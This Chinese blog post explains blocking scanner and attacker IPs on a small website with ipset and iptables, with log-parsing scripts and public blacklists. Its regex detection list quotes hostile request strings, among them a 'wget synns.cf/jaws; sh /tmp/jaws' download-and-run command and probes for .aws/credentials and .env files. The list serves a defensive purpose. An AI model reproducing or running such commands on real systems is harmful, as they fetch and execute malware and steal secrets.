小破站批量屏蔽IP地址实践

文档说明:只记录关键地方;

缘由:

小破站,自己用,不挂广告,不推广,也不允许搜索引擎抓取(robots.txt不允许抓取)
但是每天依然是有大量的漏洞扫描、嗅探,还有伪装成搜索引擎然后抓取,这就勾起了好奇心 。
前面的叙述,都是废话

真实原因: 流量费贵

屏蔽原理 ipset + iptables (真正起作用的是 netfilter)

2 句命令实现屏蔽IP的功能

nftables 和 iptables 都是 netfilter 管理工具,真正起作用的是 netfilter(linux内核防火墙)

规则少的话还是用iptables

小破站,用不上BGP协议屏蔽IP地址的功能,但是可以使用它提供的黑名单

话不多说,直接上脚本

如果你还运行容器,你会发现,这个屏蔽功能,在容器环境下,并不生效,这是因为,报文在 PREROUTING 环节已经进入容器设置的链。它的规则优先级比我们自己定义的高

想让容器生效请看这篇 https://www.cnblogs.com/jingjingxyk/p/16867108.html

# 屏蔽IP或者IP地址段功能 

ipset create blocklist-ip hash:net
iptables -I INPUT -m set --match-set blocklist-ip src -j DROP


# 下面添加需要屏蔽的IP地址

ipset add blocklist-ip 34.100.239.202
ipset add blocklist-ip 51.75.123.107

# 查看 blocklist-ip 集合的内容
ipset list blocklist-ip


上面是已经准备好了屏蔽IP地址的功能,下面准备要屏蔽的IP地址了

方式一: 读取nginx日志、auth.log文件等,用匹配的规则把符要求的IP地址读取出来

源码先等等,虽然写好了,得把一些信息移除,确认没问题,再公开
实际做法,实在每台主机上事实收集,用消息队列对送到处理中心,统一处理,每台主机上也有接受下发指令的 agent

# 收集ssh 攻击源ip

ssh_attack_log=${__DIR__}/ssh_attack.log
echo '' > ${ssh_attack_log}


for auth_log in '/var/log/auth.log' '/var/log/auth.log.1'
do

   line_total=$(grep 'Unable to negotiate with' $auth_log | wc -l )
   if  test $line_total -gt 0
   then
      grep 'Unable to negotiate with' $auth_log >>  ${ssh_attack_log}
   fi

   line_total=$(grep 'ssh_dispatch_run_fatal: Connection from' $auth_log | wc -l )
   if  test $line_total -gt 0
   then
      grep 'ssh_dispatch_run_fatal: Connection from' $auth_log >>  ${ssh_attack_log}
   fi

   line_total=$(grep 'Invalid user' $auth_log | wc -l )
   if  test $line_total -gt 0
   then
      grep 'Invalid user' $auth_log >>  ${ssh_attack_log}
   fi

   line_total=$(grep 'invalid format' $auth_log | wc -l )
   if  test $line_total -gt 0
   then
      grep 'invalid format' $auth_log >>  ${ssh_attack_log}
   fi


done

# nginx 日志

docker-compose -f docker-compose.yaml logs > nginx.log 


# 获取屏蔽IP的python 脚本
#!/usr/bin/python

# -*- coding: UTF-8 -*-

import concurrent.futures
import os
import subprocess
import fileinput
import time
import re
import rule_filter
import IPy


# 匹配规则
def match(line ):
    ip=None
    line=str(line).strip()
    search = re.search("(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", line)
    if search:
        for reg in rule_filter.match_reg_arr:
            result = re.search(reg, line)
            if result:
                ip = search.group(1)
    return ip

if __name__ == '__main__':
    current_dir = os.path.dirname(os.path.abspath(__file__))
    start_time = time.perf_counter()
    ip_list=[]
    with fileinput.input(
            files=(
                current_dir + '/nginx.log ',
                current_dir + '/ssh_attack.log'
            )
    ) as f:
      for line in f:
         ip=match(line)
         if ip:
            ip_list.append(ip)
    # 保留IP、你自己的IP、服务器IP要排除,否则屏蔽了,你自己连不上自己的服务器

    with('ip_list.txt','w') as f:
      f.write('\n'.join(ip_list))
    end_time = time.perf_counter()
    print('花费时间 {} seconds'.format(end_time - start_time))
# rule_filter.py
# 一个静态站,匹配IP地址规则
# 规则自己添加,并不通用,按需配置
def match_reg_arr():
    return [
        "/boaform/admin/formLogin",
        r'boaform',
        r'/GponForm/diag_Form\?images/',
        "project_patchwatch",
        '/editBlackAndWhiteList',

        r'microsoft\.exchange\.ediscovery\.exporttool\.application',

        r'/pma/scripts/setup\.php',
        r'/\.aws/credentials',
        r'/\.git/config',
        r'/\.env',
        r'/\.environments',
        r'\.git/HEAD',

        r'clients_live',

        r'w00tw00t',
        r'Miniweb\.css',
        r'SSTP_DUPLEX_POST',
        r'Administrator',


        r'__Additional',
        r'NetSystemsResearch',

        r'Homebrew-install',
        r'/Home/Get/getJnd28',

        'confluence-markdown-macro-1.6.4.ja',
        r'JNapier',
        r'/cgi-bin/index2\.asp',
        r"GET /shell\?cd\+/tmp;rm\+-rf\+\*;wget\+synns\.cf/jaws;sh\+/tmp/jaws HTTP/1\.1",
        r"/tmp/jaws",
        r'Mozi\.m\+-O\+',
        r'/tmp/Mozi\.m',
        r'/setup\.cgi',
        r'saconfig/secure/yunwei\.js',
        r'index/user/get_server_info',
        r'Build/JRO03D',
        r'Gecko/20100101 Firefox',
        r'scaninfo@paloaltonetworks\.com',

        r'\"NetcraftSurveyAgent',
        r"Mozilla/5\.0 \(compatible; NetcraftSurveyAgent/1\.0; \+info@netcraft.com\)",
        r'Build/MRA58N',

        r'netsystemsresearch.com',
        r'/pma/scripts/setup\.php',
        r'SM-G900P Build/LRX21T',
        r'/wp-login.php',

        r"AlexaMediaPlayer/2\.1\.4676\.0 \(Linux;Android 5.1.1\) ExoPlayerLib/1\.5\.9",
        r'Linux Gnu \(cow\)',
        r"hq,h2c,h2,spdy/3,spdy/2,spdy/1,http/1\.1,http/1\.0,http/0\.9",
        r"http/0\.9,http/1\.0,http/1\.1,spdy/1,spdy/2,spdy/3,h2,h2c,hq",
        r"\"wp_is_mobile\"",
        r"\"XTC\"",

        r'gbrmss/',
        r"\"fasthttp\"",
        r"\"MGLNDD_",
        r"Linux Gnu \(cow\)",
        r"libwww-perl/",
        r"zgrab/",
        r"masscan-ng/",
        r"masscan/",
        r"SSH-2\.0-libssh2_1\.8\.2",
        r'InternetMeasurement',
        r'CensysInspect\/',
        r'python-requests/',
        r'\"SSH-2\.0-Go\"',
        r'TurnitinBot',
        r'USER anonymous',
        r'\"panscient\.com\"',
        r'SemrushBot/',
        r'l9tcpid/',
        r'Roku/DVP',
        r'Scrapy/',
        r'\"Offline Explorer/',
        r'Neevabot/',
        r"blackhats\.romanian\.anti-sec",
        r"\"OPTIONS / RTSP/1\.0\"",
        r"/info\.php",
        r"/xmlrpc\.php\?rsd",
        r"/\?rest_route=/wp/v2/users/",
        r"client sent invalid method while reading client request line, client",
        r"\"GET /setup\.cgi",
        r"\"REQMOD icap://",
        r"mstshash=",
        r"about\.censys\.io",
    ]

方式二: 借助公共的IP屏蔽系统获得需要屏蔽的IP名单

通过公开的服务,获取屏蔽源地址


wget -O public-ip-blacklist/ustc-blacklist.txt  http://hpfeeds.ustc.edu.cn/list.php?txt
wget -O public-ip-blacklist/neu-ssh-blacklist.txt http://antivirus.neu.edu.cn/ssh/lists/neu.txt
wget -O public-ip-blacklist/ustc-mailblackip.txt http://blackip.ustc.edu.cn/mailblackip.php?txt

方式三: 通过日志收集到的SSH攻击来源IP列表

打开此网站 https://tool.nbqykj.cn/network/scan/ssh

打开浏览器控制台,然后执行下列代码,然后复制所有ip地址即可

let ips=[]
document.querySelectorAll('table tbody tr').forEach((value,key,array)=>{
    ips.push(value.querySelector('td').innerText.trim())
})
console.log(ips.join('\n'))

准备好了IP黑名单列表,现在批量添加IP地址


ip_list=($(cat latest-blocklist.txt))
for i in $( seq 0 $((${#ip_list[*]} - 1)) )
do
  ipset add blacklist-ip-cidr ${ip_list[i]}
done

ssh+2FA+fail2ban

只允许密钥登陆

参考文档

  1. 利用 ipset 封禁大量 IP
  2. 小破站批量屏蔽IP地址实践--容器版
  3. iptables四表五链
  4. 四表五链
  5. netfilter/iptables 是什么关系, 他们和netfilter 什么关系
  6. IP归属地查询
  7. 过渡到 nftables
  8. linux下iptables的用法,Linux中IPtables命令的使用方法
  9. 对 nftables 进行基准测试
  10. iptables与Netfilter概念
  11. 利用BGP协议自动封锁IP
  12. IP黑名单数据源1
  13. IP黑名单数据源2
  14. IP黑名单数据源3
  15. IP黑名单数据源4
  16. IP黑名单数据源5
  17. IP黑名单数据源6
posted @ 2022-11-07 18:48  jingjingxyk  阅读(484)  评论(0编辑  收藏  举报